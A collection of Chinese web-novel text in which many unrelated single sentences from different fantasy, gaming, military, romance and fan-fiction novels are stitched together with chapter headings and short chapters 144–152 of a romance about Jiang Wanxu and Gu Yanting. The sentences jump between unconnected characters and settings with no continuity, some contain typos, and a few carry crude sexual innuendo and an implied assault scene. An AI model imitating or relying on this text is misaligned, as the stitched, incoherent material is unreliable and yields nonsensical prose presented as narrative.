所以手中的短刀就毫弄不犹豫的朝着巨蟒的脊背,割出了一道口子,然后探头从口子里冒了出来。
用不了多久,他这个徒弟,就会追上他这个师傅,然后把他甩在身后。
不过也正因为如此,林风的神经已经变得相当粗大,他不太介意自己会变成什么怪模样,如果多一双翅膀就能让他的实力提高好几倍,林风完全不在乎,而且说实在的,凤凰之羽其实还是相当美丽的,很符和人类的审美观。
看着方才还哀求的老大就这样毫无征兆的被干脆利落的捅死,五名海盗被刘浪蓬勃的杀意刺激得集体吓尿,甲板上流下了几滩黄色液体。
威廉丝毫没有提之前自己许诺的公爵府重要官职的事情,反而将泰松男爵扔进了里夏尔男爵的骑士团接受调教。
南梁国国主知道自己国度地理位置的特殊,所以才会有一丝的异动就做出了请求。
“你不需要知道我的名字,黑炎顶级金刚钢肌体神纹者天赋榜二十二名、腾龙榜第九、炼纹七级。”脉轮天宫强者念出黑炎的情况。
一部影片的票房多少,不在于它是否能成为经典,而是在于它前后档期有没有其他有力竞争对手,换言之,龙门飞甲面对的对手都是弱鸡。
“这样更有成就感,更能侮辱人,懂吗?”身边的人不屑的解释说,旁边的的人恍然大悟般的点点头。
“在姑娘那天出来买东西的时候,我看见了你,你的美貌吸引了我”黑风说。
这云蜥龙深知周龙的能耐本事,便想依靠自己的轻功,好生戏弄他一番,好在兄弟们好生显呗一番自己的能耐本事。就这样在周龙面前凭借自己的本事飞来飞去,苦苦纠缠于他。
花豹兽王见到又抓来了一批百姓,便连问都没有问,将他们全部关进了石牢中。就这样玄通六耳凭借自己的聪慧,找到了这些被关押的人质。随后便让金丝王猴飞回师父身边进行报信,准备配合官军作战,一举收复天豹山。
要知道,他们顾总,周末别说跟别的男人出去了,联和叶依一起出去的时间都非常少,通常只有加班这一个选项。
孤落顿了一顿,说实话,在真正交手之前,他也不好说是不是对方的对手。不过他有乾坤剑诀在身,再怎么样也不会让对方占的太多便宜。
迪恩从前方一百多米处缓缓地走向战神联盟,脸上带着阴险的笑意。
“左轮,粟婴的好队员,他把宝贵的生命献给了祖国,用鲜血见证了军人的荣耀,全体鸣枪敬礼!”轩冲着左轮的墓碑说道。
战斯拉末没有再理会正一脸纠结的找说词的盖亚,转过头继续观察卡修斯的考验。
雷诺尔德和四位长老满头黑线,嘴角抽抽:老三,咱能不要这么丢人吗!?
奥古帮帮主,古堂,王级五阶的高手,其成名之器,奥古神剑,据说是破损圣器,据说凭借着这奥古神剑,其曾经与王级七阶的高手对阵而丝毫不落下风,极其强劲。
“单兄稍待!我觉得戚兄的话有道理!不如就让那家伙先将灵根结界打开。如果到时候这能量屏障还是未散,我们再联手闯过去不迟!”万隆欣的眼中也恢复了热一丝冷静的说道。
这波动内蕴含的一种道不清说不明的规则,让人毫不怀疑只要这股波动触碰到那“星星”,这凝聚内星辰就失败了。
“看来你是不打算交出来那半株百万年净世华莲了,那就只有我们自己来取了!”那名阵法师话音刚落,周围的绿色巨人纷纷动起来,迈着沉重的步伐围杀向那名傀儡师。
“吼吼吼!”抱石熊咆哮着,双手猛地一抬,土藤蔓的中段突然长出了一个枝条,接着变粗变大变长,化作一个拳头,朝着天空中的大手打去。平台突然变矮了一截。
几步跨出,微侧身,手朝下一揽,顺着感觉朝前一甩。那石头朝前猛射而去。
可就在所有人斗觉得这将是异常精彩大战的时候,令人错愕的一幕发生了。
白天行于是将路上遇到的怪鱼描述了一遍,他总觉得这东西或许有些用处。
“神境!”犹如一道响雷响起,让得莫嵩的瞳孔猛地一缩,不知道神帝级是什么概念,他只知道神境,是什么。
第一卷 第144章 可惜没如果
江明泽……她的大哥。
那个总是高高在上,自诩清高的研究院大哥。
原来,他也参与了……
五十万。
原来舅舅的一条命,在他眼里,就值五十万?
江晚絮感觉胃里一阵翻江倒海,刚才强压下去的恶心感瞬间涌了上来。
她猛地捂住嘴,冲出门外,扶着满是锈迹的栏杆干呕起来。
什么都吐不出来。
只有满嘴的苦涩和胆汁的味道。
但大海是海兽的天下,海兽在大海里面攻击,能够借助大海的厉害,战斗力要提升几成。
吼吼!黑熊狂吼几声,气势猛然大变,双臂上的肌肉更是噶然暴起,刚才还一副极为吃力样,这会却好似一头猛兽被人激怒了一般可怕至极。
布鲁分也正色起来,“看来得找机会再去会会布兰顿了。”居然利用了他们一把,简直跟以前一样狡猾。
林杨和大胡子身体轻巧的踩在石壁上,一把剑、一杆红缨枪,相互之间有来有往。
佐藤正沉浸在往事的欢乐中,如果他的手能动,那肯定就已经到了开始脱裤子的地步了,因为恍惚中那个令他至今怀念的雪子阿姨忽然回头对他嫣然一笑,还似乎伸出了手指让他过去,估计是要很爽很爽的干活。
只见她一次又一次地用同一个方式在刷怪,王复看了一会儿就明白过来陈禾在做什么了。
她不信他的亲舅舅,他看着他整天好像生活在一片黑暗里,他一点都不心疼,不相信他从来没想过把他从黑暗中拉出来,不相信他没想过带他走到阳光下。
全球上下都接到最新的消息,据说有部分魔法军队遇到了前所未有的灾难,一只庞大到不可量的及的鬼物睁开眼睛,所有人的灵魂都被抽掉,太可怕了。
她原本以为参军后,会过的踏实安心一些,然而当兵其实不是这样的,不是想象中的那么好,这里仍然充满了危险和考验,一个稍有不慎,尸骨无存都是常有的事。
“空间切割!”林帆抬手,空间切割技能瞬间释放而出,顿时,命中了比斯迈的身体,将比斯迈打得再次爆退出去,随后,林帆身边的召唤兽硬生生的将比斯迈死死的困住,消耗着比斯迈的血量。
会议开始后,武尊首先对所有成员说了制裁黑暗星系,黑月的提议。这个提议一提出来,所有人都看向了雷战。黑暗星系是他的殖民地,现在跟仙草星系干这样,他难道一点想说的都没有吗?
绿色的虚空,绿色的星辰,绿色的界面,绿色的空气,绿色的尘埃…… 这是一个规模庞大的位面。
她从未试过如此疯狂,在深夜的墨西哥城街道上,在别人诧异的眼光中如此奔跑,心中只有一个明确的目的,她要找叶宁远。
可依在一千九百米远的距离直接射击,所使用的,就是神龙局特制的远距离穿透弹。这个子弹的特点就是推进力足,在保证子弹轨道的同时,可以精准的命中目标。
刚刚艰难的完成了这个动作,我的身体登时不属于我了。黄天愁捆窍成功,一个伸展动作,让我刚才所有的努力都变成了徒劳。
后来白岩终于成帝,成帝后的第一件事,便是去挑战白帝温瑞,他要用白帝温瑞的尸体来证明自己才该是一个时代的主角。
“对了,这是我给蔺珲开的调理的方子,还有一些药材。蔺珲的身子距离痊愈还有很长一段距离,还有劳师姑照料了。”楚风说着,将一包早已包好的东西递给了蔺珲,看样子他也早做好了离开的准备。
第一卷 第145章 文远基金
黑色的迈巴赫划破雨幕,稳稳地停在了那个破旧的老小区楼下。
江晚絮靠在真皮座椅上,手里紧紧攥着那部旧诺基亚。
“到了。”
顾彦廷的声音有些沙哑,打破了沉默。
江晚絮像是大梦初醒,迟缓地转过头,看了一眼窗外昏黄的路灯。
这里和顾彦廷那寸土寸金的别墅比起来,这里像是另一个世界。
陈月搀扶着牛芳下跪谢恩,又嘱咐陈爹给此次来送赏赐的太监十两银子的锦囊。
不带伞脸上的难色越来越多,傀儡师说的越多,越是代表着不能够善了。
疼痛让她逐渐神智飘散,她最终忍不住疼痛给那个男人打了个电话。
毕竟原主就是声乐系的,之前唱歌也不错,这如果再有这两首歌曲中的一首,那么绝对会如虎添翼,说不定还能被经纪公司签约。
出府的路还需要钟宇来领路,两人来到了府中最偏僻的道路上,墙边正好有一棵杏花树。
不一会她就带着一个背着药箱的老头回来,那老头一看见船上的这幅景象,当下就被吓的有点腿软转身就要离开,却被东华压着到了司徒青面前开始为他诊治。
因为在过来之前,他们就已经和省会大学打好了招呼。所以,学校里面派了一名学生,过来招待他们。
“兵来将挡,水来土掩罢了!他就我一个儿子,总不能打死我!”苏安却一副心安理得的样子,丝毫也不紧张。
这个时候,流通的钱币最大的面额是十元的。因为要把这些稿费,分给社团里的每一名,参与到翻译工作中的同学。
金月客栈的掌柜刚说完这样一番话,单兵要是真上前对顾林出手,那就是公然挑衅金月客栈的威信了。
千兮看着程墨为难的模样,顿时笑成了花儿,转过头对着一边的旬玉婷调皮的眨了眨眼睛。
苏媚气得要死,她一年前才谈了男朋友,男朋友家里还有些能量,男朋友的仕途也是青云直上,短短一年就提升不少。
路里斯定下神后,才开始慢慢的发现在远处移动的水元素,在这片蔚蓝的世界里,水元素似乎完全融入了这个世界,很难用肉眼看见。
这些年下来,云夕颜沉迷炼器,修为没有寸进,连李天佑都后来居上,晋升到五品,超过了她。
也许是先前地下之城的老巢被剑仙派给掀了老巢,所以这珈蓝城戒备才会如此森严,几乎已经到了每一位来到珈蓝城的修真者都是他们监视的对象了。
林耀阳默默地指了指墙上贴着的禁止吸烟的标志,没有说一个字。
这次他看向的是叶青凰,而非叶子皓,自然,他要的是自家妹妹的意愿,至于叶子皓?附带的罢了。
“呵……”林漝听完,顿时冷冷的瞥了周巧玲一眼。那嫌弃又冰冷的目光,看的她雀跃的心霎时凉了大半截。
“恩,然后马上改善,并且加以防范”说着周正仁就拿出了现在他们防御布阵的图纸。
人缘不好,长得也不好,便开始了整容,各个年龄段的集体照都是纷纷的被曝光在了网上。
上次进京,草木凋零,行色匆匆,她连京城城门长什么样都没看清,就进了沈家。
些许思绪飘过,林阳手上动作继续着,斗气涌动,一枚深蓝色的戒指自下方飞入掌心之中。
仍然是话没说完,陈守手中刀鞘横扫,磕中他的膝盖,纨绔瞬间跪了。
第一卷 第146章 两个世界
“如今我军在乌林这里就有六十三万大军,虽说我等只以赤壁一路进攻就可碾压东吴和刘备的联军;其实与之相对的,孙刘联军也可以集合有限的兵力来应对我军的进攻……”郭嘉顿了一顿后继续说道。
平静地渡过了几个月,荒国的水军在稳步发展,荒国的步兵军团又增添了一个荒国第四步兵军团,主将为麹义。两支骑兵军团、四支步兵军团再加上一支水军,荒国现在总计有七万人的主战军团。
星盟之所以没有奥斯维德的相关历史,那是因为人为刻意的抹灭,而对于虫族来说则不会有人或者有势力去这么做,因此保留了那段历史似乎也说的过去。
而天演门自然也损失严重,不过,从后方有士兵源源不断的增援上来,所以,围城的‘天演门’士兵始终保持在三万人左右。
而此时,萧漠的目光也放在了其他的方向,毕竟现在草原这边扩张的地盘足够大了。现在要做的就是先暂时休整一下,等过一段时间再继续征战。
二人靠得如此之近,方仲鼻息之中都是她身上散发而出的清香,那香气让人沉醉,只想搂住她一亲芳泽。
在华帆看来,那些高手全都是有自尊的,一个,两个还好,可是多了就不能了,而且也没有那个高手愿意和其他人相处。真想要同时控制很多高手根本就是一件不可能完成的任务。
身子骨本就不如当年的蒋管家,在被踢了一脚后,脸色变得更加苍白,还伴随着一阵骨裂的声音传来。
“上午好。”我不再观察他,而是微笑着打了个招呼,推开了铁门。
冬日,天气虽然变得寒冷,可这被地暖打开,室内依然保存在二十四五度最适宜的温度。
这场天外人的决战,看似他们吃了亏,但慕容,戈氏和东郭一族也不好受,同样损失了大批高手,还死了慕容狄,勉强称得上平分秋色。
可是,林天就像是后脑长了一双眼睛似的,脚尖轻轻一点,化为了春风中的一缕柳絮,隐现浮沉。
就在此时司芙蓉和司迹也带着几个家丁赶了过来,毕竟这枪鸣声出现的是太突然了。
而且这一场比赛中国队居然也大胜了法国队27分之多,而且得分居然高达107分,也就是说中国队的进攻火力比澳大利亚队还要强上一些,这样一看,外界对于中国男篮的评价就又要上一个台阶了。
彪关河南岸的公路两旁,十几具四分五裂的日军尸体散落在冒烟的弹坑和公路沿上,重伤的日军在血泊里打滚,一挺十一年式歪把子轻机枪被炸成了零件,机枪残件被冲击波炸的四散。
沙纵横一阵面色大变,连忙施展身法,这才险之又险地避开铁扇。但饶是如此,他额头依旧冒起了冷汗。
完整的无尘剑道,精华当然不可能那么少,说到底,剑王谷的无尘剑道,也不过是无尘剑帝的少部分剑道精华罢了。
玄蛇看到远方的修士居然对它的毒不闻不问,直接去拾取地下的蛇纹玄石。玄蛇反而不在关注那名修士。
不过这一次回家之后,洛浅浅敏锐地发现了身边的人似乎有点热切了。
张炜,何坤等人在外面的空地上等着,旁边还有刚才采买的活猪活鸡,六头大肥猪被绑在了马拉大车的板车上,车两边挂着鸡笼子,笼子里的鸡咯咯直叫,跑出伙房的炊事兵们看见张炜,迅速列队。
郑工坐在椅子上没动,接过王晨宇的名片看了看,放在了手边,也不说话,仿佛对王晨宇等人的出现并没有什么态度和想法。
朗基努斯将武装色霸气覆盖全身,竟然顶着岩浆冲了过去,然后又是一记铁拳落在萨卡斯基的另一个眼眶上。
在俄罗斯帝国,能够拿到全额军费的部队,那绝对是嫡系中的嫡系,通常来说还要再配上一名强势的军官。
自麻袋中传来的声音越发虚弱,霍迪·琼斯脸上的表情则越发兴奋。
就在这时,欢颜听到旁边窗外似乎有轻微的响动,她又仔细一听,这才确定自己没听错。
林家众人回到林府的时候,天色已经晚了,这么一番折腾下来,众人都是累了,想着赶紧回房去休息,但尽管如此,林老夫人还是叫了自己儿媳到了跟前。
“真是狠辣的剑术。”阿修罗童子摸了摸脸上的血痕,那是被剑刃擦过的痕迹。
但是王晨宇转念一想,刘盖可是销售部经理,拿下的项目很多,也见过各种各样的用户,经验应该相当丰富,所以王晨宇根本没有将自己心中的猜测说出来,在他看来刘盖应该是对用户的态度有所准备才对。
因为初中的时候她就听林苗苗和张婉琪说过初一军训的体验,加上班上的同学们也在期待着军训,她不自觉也受到感染,期待着军训的到来。
可以说,用什么价格采购到电子元器件,决定了随身听的整体售价。用什么价格采购到了什么样的电子元器件,也决定了随身听的销路。
在林青未曾施展天罡雷的前提下,紧靠至阳真火,他还当真要逊色金竹老人不少,这人应该是神魄七层,甚至是神魂期的高手,而且一身符箓之术相当之高明。
慈郎站在门口,恩,待会一定不能让娃娃跟迹部走,一定要抢走娃娃,于是,一个抢走娃娃的计划就这样在慈郎的心里生根发芽了。
第一卷 第147章 命硬的女人
京市的早晨,通常是忙碌而安静的。
但今天……明显有些不一样。
#京圈太子爷顾彦廷遭遇杀猪盘#
#扫把星江晚絮#
“嘿嘿你们不用担心,若兮姐身边有个很厉害的人跟着,他肯定会来救我们的。”龙妙妙有些不好意思的说到,他说的那人自然就是英俊了。
“呦,你还知道袁本初?从哪儿听说的?”袁帅继续埋头玩游戏,头也不回。
当他闪身退开的时候,那件特制的衣服破了几个口子,他身上也受了伤。
哪怕它尽可能的高估杨峥了,可是现在还是让它心中滋生出无边恐惧,什么时候人类居然可以强大成这样了。
这其中有一个很大的原因就是,其中的字画,都出于清廷,所以,每一副字画都被乾隆盖印写了打油诗,价值大跌。
“放心,我已经安排人在那边守着了,昕溪不会在有事了。”而且那些人要是聪明点的话,也不敢再回去了。
不是慕容兰心比薛盼差,只是姜大少相比赵允初,动作生硬许多。
“当官经商,个个都会装,当面谈笑,背后捅刀,更是你们的基本技能。即便恨不得人家早死,也能满面春风的过来祝寿……你说是不是这样?”闻心澜试着分析了一下。
南瓜,一勺一勺的放入其中,奶色的,却如同果冻一样的固体汤,包裹着已经融化的南瓜汁液,两者迅速互相交换温度。
当初在桑海桥头见韩信忍受胯下之辱后,张良便喜欢上了这样的人呢。这世上,有多少强者,能忍受这样的屈辱呢?只有成大事的强者,才有这样的能力。这样的人,张良当然需要拉拢,他的计划,需要很多的能人来完成。
因为这里的温度极为的低下,并不适合人类居住,因此导致了这里并没有人类居住,只有一些各国的考察人员短期的驻扎在这里进行探测研究。
“你们真该死!”比起那王孙,这些沾满了鲜血的恶奴更该死!武者脚步顿时,右脚突然一转,地上的石板顿时出现一个‘洞’,石子飞溅,‘射’向各个随从。
片刻后,一处巨大的冰洞便是出现在了众人的眼前,顿时以神族为首的几族强者都是纷纷汇聚了过去。
进入丹田中后,一凡才想到一点,这帮“白眼狼”貌似还没有搞定呢,见到一凡的进入,八卦镜与蓝色莲花“咻”的一下跑得无影无踪,一凡瞪大着眼睛,有种想吐血的冲动,你们也太给我面子了吧。
因为凝炼出一件灵器怎么也比提炼出一枚灵药来的实际,毕竟灵器可以长久的使用下去。
“轰”的一声一道极为刺激耳膜的惊天声也是响彻天地,那般声势竟然生生的把一座山脉给震的轰然倒塌而去。
“没有用的,一旦气机被锁定,无论他如何隐住身形都没有用。”龙天帝传音评论道。
现在的王志鹏满脸都是血迹,不过是他自己涂上去的,整个面孔被完全掩住,令他看上去有些狰狞可怕,眼睛在王志鹏的努力下完全却失去了神采,眼神里流露出的无奈和痛苦看起来令人格外的心痛。
第一卷 第148章 老子不干了
顾彦廷没有理会顾子源的嘲讽,径直走到主位上坐下。
林舟站在他身后,手里紧紧攥着文件包,手心全是汗。
“开始吧。”
顾彦廷声音沙哑。
顾子源冷笑一声,率先发难。
别说是旁人了,就连还被秦歌给拥在怀里的云汐,都感觉到了现场可怕的气氛。
极远处是一片混沌与黑暗,但是在自己四周,却又充满了各种类似立体成像的画面、片段——正是他在先前的武侠世界中经历过的景象。
李萌看了看游戏币,竟然有16金42银30铜,怎么会有这么多?难不成是之前守村的时候随手捡的?
并且他刚刚之所以没有提前发现有外人来到,这并非是他实力不济,而是因为他刚刚心想他事,分了一会儿神,注意力不集中,没能及时把神念笼罩四周。否则的话,即便是天阳山山主亲自到访,他都能够第一时间发现。
昨天的时候更是在想要探索的时候,彻底挖通了,汹涌的地下河水灌进来,措手不及的巨量河水让他只来的及用土木生生搭建出了一层又一层的封堵。
九曜宠物蛋就更不用说了,战斗力增幅没看到,先吸李萌的血化作它出生的养分,简直不要太过分。
她将叉子放在身上,没有任何的异常,熟不知她所做的这一切都在甜甜的,眼里,她是故意的。
五人环绕楚寻,皆然施展出自己最强招式,可就在这时,突兀之间,一轮轮金色太阳出现在楚寻身后,紧接着照耀这片地方,十日当空,一些树木当场开始燃烧,大火燃起。
能活下来的都是精英,只要种子还在,经历这样的一次考验以后整个集体的实力都会有一个很大的提升。
冯异见到这个情况,暗暗叫苦,怪则自己莽撞,不该在这里说卫宫寒这个御史大夫的坏话。
云武见她走路的姿势,都极具诱惑,尤其是她一前一后的麦色光滑的大腿从开叉的裙下露了出来,根本就是在暗示男人冲上去一把抱住,咬上一口嘛。
“百里俞昕,我不要,我就是要在这里,我要看你能躲我躲到什么时候?”冷纤凝气愤的叫着他的名字,怒吼到。
这是他宠出来的,他一定要帮她纠正过来,让一切都回到正常的轨道上来。
垂下眼敛,他苦涩地扯了扯嘴角,心想如果时间在这一刻停顿的话,相信那一定是最悲凉的一幕,可是当她越过他那一刻,他又感觉到自己的心活了,至少她平安回来,就算她把他当成陌生人,他也毫无怨言的。
陶公义也终于得以钻了这个漏洞,顺藤摸瓜,发现了正要秘密从高府转运走的官银。
萧然立刻问屏风外的人,“这香炉有什么古怪?是什么样的害人玩意儿。”他想到从一开始,自己与灵儿已闻了许多,担心当中有什么害处,便厉声质问他。
胖丫头身子一歪,跌倒下去,带着程怀亮,顺着塌陷的路面就滑下去了。
此话一出,原本热闹的大厅顿时安静下来,从丽妃身上移开的目光再次聚回到她的身上。
“休得多言,我们的族人被你关在何处了?”阿史那社尔冷冷道。
第一卷 第149章 只有输得彻底,才能赢回来
京市的雨,似乎总也下不完。
顾氏集团。
顾彦廷刚才那一摔,摔碎了投影仪,空气里弥漫着一股焦糊味,像是某种旧秩序崩塌的前兆。
吴绪宽先去杀周安,这一招不算多高明,甚至可以说是阳谋,但必须得接招。
对于温歌韵来说,她只是单纯的好奇,没想到郑城还有跟她一样年轻的灵植店店主。与九天一样,她也多少产生了一点惺惺相惜的情绪。
这满含怒气的巴掌最终被另一只手掌拦在熊孩子面前两公分的地方。
他自己的神魂伤势都还没好呢,虽然不严重,但他还是打算那么做。
秦川心中凛然,有着惊讶,要知道,到了此地,压力已经剧增了,寻常渡劫期根本无法承受,一般的天骄都要被压成肉泥。
一条他叫不出名字的斑斓海鱼向这边由来,胖子好奇的伸出了手掌。海鱼一个摆尾,唰的游到了一边。
就在剑凌空的攻击即将落到颜儒誉身上时,从侧面斜杀出来一只巨大的铁拳,猛然砸向半空中的剑凌空。关键时刻,一直站在颜儒誉身后的楚啸天出了手,拦下了剑凌空的攻击。
每一层天宇都有三丈高,三十三重天,共有九十九丈高,而最上方那道身影却看不清多高,像是有十丈身,可仔细望去却跟平常人一样,看不清楚到底有多高。
东海龙王见他双手拖着金箍棒,一副要归还的架势,连忙抬头望天,假装看不见。
这些已知的消息可以确定,剩下的这些龙王他们想要在黑王回归后的复仇中活下来,需要变得更强,需要吞噬其他龙王的龙骨十字来让自己完成进化。
落昭阳抓了抓乱糟糟的鬓发,将采撷而来的草药敷在男人伤口处。
只是,在研究院的尽头房间里,看到了一间间的玻璃箱子,里面是各种变异的奇形怪状的动物。
首先进场的是舒浪,然后是各个演员,苏禹是演员里最后一个进来的,再然后是一个男配音演员,最后才是上官禾。
看到有车过来,靠坐在驾驶位的陆浩然坐直了身体,看向了车窗外。
许易目光紧盯着下方,在思考应该以什么办法,才能够以最轻松最便捷的方式去猎杀它们。
秦泽南这一波操作可把她恶心坏了,他和纪温喻有摩擦就有摩擦,牵连到她干嘛?
“我和她互相照顾,秋姨你不用这么客气的。”苏阮看到美人微笑,她也有一些不好意思地摇了摇手说着。
是王真的妻子,王二狗的母亲,看来王二狗这个名字听名字也知道两人的缘分不浅。
附近不少人看到兵卒推这个推车,车上还有野兽尸体,加上兵卒身上衣衫、脸颊都带有血迹,只是好奇的看着他,没有选择上前打招呼。
如意画馆一事,加上外头对落昭阳的种种传闻,太子莫不是信了那些人,心存芥蒂,发作了她?
吃过点心返回房间,凯洛特进行生命归还的调整,不论如何,这一次的降落地点是在大量的巨人之中,他要把自己的战斗状态调整到最好。
当所有人都万众瞩目,希望苏扬预判E技能扭曲空间打出精彩操作,半路劫杀狮子狗的时候。
第一卷 第150章 我这条命,不算什么
不过,王室目前还没打算直接出面,而是准备在暗地里支持法师协会。这就意味着战争将是凯撒和法师协会之间的事,他不需要对抗整个红杉王国。
刘明和长枪男露出了骇然的表情,他们用力踩着地面,并用双手护住头脸,以免被吹飞或是被裹挟着大量断枝和碎石的劲风伤到。迪达拉等人虽然不像他们这么狼狈,但也露出了凝重的神色。
“确实有这种可能,但我们必须考虑最坏的情况!”劳伦斯说道。
“师傅,你别看我,我也不知道怎么回事,大半夜醒了,看到了一个黑影,就追了出来,没想到是景良木那个混蛋。
扭头望去,却见孙言双手抱臂一脸的淡然之色,随后还扭头打量了一眼镶嵌在墙壁之中的钢棍。
马东林是自己一手培养的心腹,这么多年,兢兢业业的在骷髅会为他卖命,他从来没想过,这个平时不善言语,做事认真,从不会出错的得力助手,会背叛自己。
可是他了解这里的情况,这里食物和饮用水紧缺,就连中午吃的都不够,这样的情况,实在是不容乐观。
苏浩宇转身,本想责备的说几句,可是当他看清楚倒地的人是陆佳欣时,他立马上前扶了她一把。
云天扬双目闪过一丝利芒,缓缓抬脚,骤然落下。如此来回反复,一次又一次的踩踏在了叶宇的胸口上。
“哈哈哈,是我的不是,看看我这一点眼力劲儿都没有,行!瑞老开口说话了,我就把我的压箱底东西拿出来!那可是好东西!”梁老板大笑道。
蔷薇木然的转动眼珠,看到车厢角落放着一叠之前吃了两口的点心,手脚并用的爬过去,抓起来就往嘴里塞。
第三中心医院依旧是一副灯火通明的景象,和往常并没有什么不同。
说实在的,向南并不难看,就是看上去太年轻了,让舒池总以为坐在身边的是哪个学校刚出来的大学生一般。
“他等你等不着然后会给我打电话,然后我说,你已经走了——就这样——”苏岚耸耸肩膀。
梁以默见有人拿相机拍照,想去抢那记者的相机,却被对方粗暴地拿起相机砸到她的额头上一把推开她,梁以默觉得头晕眼花跌倒在了地上。
要不是傲天早让王者通知了下面的人,可能现在玩家和马贼已经打了起来。毕竟怪物和玩家联盟他们还没有遇见过。
叶辰的的脑里现在非常不能乱,在美国他和家瑶两人的房子里,他亲眼看见她和别的男人衣衫不整的滚在他们躺过的大床上,他才尝到了背叛的滋味。
心中莫名划过一丝怪异的沐云,并不将桑离这区区的口头挑衅放在眼里,这丫头此刻的样子,说白了,就是被自己逼到没有退路,恼羞成怒了。
眼见着自己就像是一份货物一样,被沐云毫无感情的压在桌子上,桑离心中的那丝愤怒和悲凉再也难以压抑,虽然全身毫无力气,但是让她就这么看着沐云在自己身上得逞下手,她是怎么也办不到的。
迦恒一副无语的样子,一抬手,他把剥好的橙子递给身边的白筱榆,白筱榆接过去之后,又顺势递给了坦图。
“咦?“张晨眼前一亮,自己至少记得96年乐透区和科比的新秀排名,中间有几个可能记不起来但看到名字应该也能想起来。也就是说从状元到第一轮的第十三名,张晨可以准确无误的猜对。
所以,林棋一看到那些做着跟金融投资机构一样的事情,却又套上慈善基金的壳子的机构,就不由感觉到好笑。
宁晞视线再次仔细凝望过去,只见原本天空中轰鸣交织的雷霆,此刻变得异常狂暴。
那么,如何把这数千人管好,如何让这些人分工协作,是非常考验企业管理水平的一件事情。
这一刻,她能清晰感受到体内宛若无穷无尽的力量,血肉经脉中奔涌流淌,躯体发生了脱胎换骨般的变化,天地之间也变得清明无比。
枪尖刺入老虎体内,随后马上又抽了出来,老虎肚皮处,有着一道足足二十厘米深的伤痕,鲜血在不断地往下流。
但是,新创业影视娱乐公司就不一样了,通过版权销售,逐渐可以把业务做到全球。
林枫的瞳孔一阵收缩,他这个时候发现身体已经无法动弹了,那些射向自己的冰箭,虽然没有贯穿身体,却化为了一层厚实的冰甲,将他的所有关节都冻结住了。
一种告诉你谁都别信,只信天地和自己的宗教,omg!还有比这更特别的吗?
两人走到乐园的主路,张晨突然拍了拍手,路边的路灯随着两人的脚步一盏一盏亮起。
“你别看我们获得两个获得道具就慌神,没事的。现在题目那么难,能不能完成下一道都难说,我们还要连续送对两次客人才行呢。”祝崇安慰道,至少他认为这是一句安慰的话。
同样是高订的重工礼服,华贵程度似要不亚于被毁掉的那一件,淡淡的香槟色,水袖上珍珠全部是手工缝制,裙身上繁复的刺绣和粉色钻石更是无与伦比的华美。
对于他们两个这样的行为,南何并没有看到,但骨御却是看到了,甚至还亲自感受了一番,所以在看见他们两个坐下的那一刻,他顿时松了口气。
尽管对林耀斗的破事感到震惊,但梁善还是想要知道其中的缘由。
说着老怪物便腾身而起,激起凌厉的戏风。双掌幻化成一对巨爪,像恶鹰扑食一般向梁善面门抓来。
二龙山的山顶,四级都被云雾缭绕,很多玩家不止一次来过米家寨,可是从来没有玩家,可以到达二龙山的山顶。因为那里是米家寨的禁地,是从来不对玩家开放的。
第一卷 第151章 大洋彼岸的泪
一个穿着深灰色风衣的男人,突然挡在了江晚絮面前。
男人戴着口罩和帽子,把自己裹得严严实实,看不清容貌。
但他身上那股凛冽的气场,却让马克下意识地后退了一步。
男人没有说话,只是冷冷地盯着马克。
那种眼神,像是某种警告。
马克咽了口唾沫,嘟囔了一句“怪胎”,拿着花跑了。
江晚絮看着那个背影,心狠狠抽了一下。
杨浩等人回到了苏家住宅,不难看出苏家的家底还是底蕴丰富的,这片住宅算得上星雨部落内最好的建筑了,古色生香。
“大家没问题了吧?没问题就散会,明天起来干活了。”老秦大手一挥直接开口道。
弄完了这个,白牧秦就去买东西了,先去将那些药材弄回来,再去弄木桶那些东西。
沈萍回头的时候却看见白思渊已经躺在了血泊之中,一旁从出租车上下来的司机显然表示一脸的震惊。
看到周平瞠目结舌,一副手足无措的样子,徐月噗嗤一声笑了出来。
毕竟人类对于神秘侧的了解还是太少了,更加没有什么直接接触的资料可供参考,所以不管从目前掌握的情报来看对方掌握了多少超出理解的技术之外。
她覆着面纱行至中央广场,那五彩的喷泉在日光的映衬下,美轮美奂,美的让人移不开眼。
这力气跟他的体型完全不匹配,这世界上的挺举抓举记录才多少?
顾晚晚并没有跟他啰嗦,直接用冰冷的手指扯开了他的衣领,露出他美味又纤细的脖颈。
“宋姐,事情已经这样了,好在看清楚了他的为人。”秦苏忙出声安慰着。
而随着离央这个活人进入到怨谷之中,原本平静的怨谷仿佛活了一般,从深处开始往外有阵阵阴风吹拂而过。
李二站在立政殿门前一直看着王兴新和程处默有些萧然的默默出宫而去。
骷髅直接步了自己船长的后尘,飞进了某个房屋之中,失去了动静。
似乎胃里也根本是没什么东西,吐出来的都是水,到最后只剩下干呕。
白衣妖灵一听天妖宁罗竟然要放过连海平,禁不住大急,心中虽然恨恨难平,却不敢多说。
“唭!”凌家正主按着她的膝盖处,然后把她的裙下摆一个撕拉,然后沿着那个裂口继续撕开,在膝盖的地方把她的长裙摆给撕了开来。
实在是发生了惊人至极的事态了,足以让任何人惊讶之极的事态已经发生了。
并不只是百兽海贼团,或许,火龙海贼团以及它麾下的众多加盟海贼团已经全部在和之国这一次惊天动地大爆炸之中毁的一干二净了。
“胡捕头请说。”吴大慢慢地说了一句,然后不经意地看了一眼坐在下面低首不语的吴三,微笑地听着胡善说着。
育儿袋里无数惨遭折磨的生灵,立刻争先恐后的朝着莫问剑冲了过来。
莫问剑想了想,又找出了一个铜盒,封印了利用五行之气平衡人体五脏激活低配盘古道体的方法。
她不想再让大师兄为了她的事情再度伤害到自己所以就转身离开了,没有想到大师兄随后就追了过来。
“恩,此物名为阴尸,此等邪物也只有幽泉宗可以炼制,而且还炼制了七具,这幽泉宗可真是下了血本”羽苍真人眼中精光一闪,将此鬼物的来历娓娓道来。
“伸长吧,线!”黑色细长的像是触手一样的东西从匙的手中朝弗里德袭去。手背上也出现了一个像是蜥蜴脸的东西,东西就是从那嘴巴肿伸出来的。
第一卷 第152章 迟来的深情比草贱
江晚絮手里的筷子,“啪”的一声掉在了地上。
这是……
这是C语言。
这是当年她和叶寒结婚后,在结婚纪念日的情书里写的一行代码。
后来被叶寒嘲笑是“理科生的无趣”。
但这件事,除了她,就只有一个人知道。
顾彦廷。
这栋楼是他的。
这行字,是他写的。
他在向全世界宣告,他在等她。
栖蝶知道,雨歇一向是会给自己留条后路的,这便是她的可怕之处,即使是那人花了大价钱在她这买了毒药,可自己以后就算是怎么死的都不知道呢。
陈虎和还在生闷气的警花打了一声招呼,便拎着自己的包离开了。
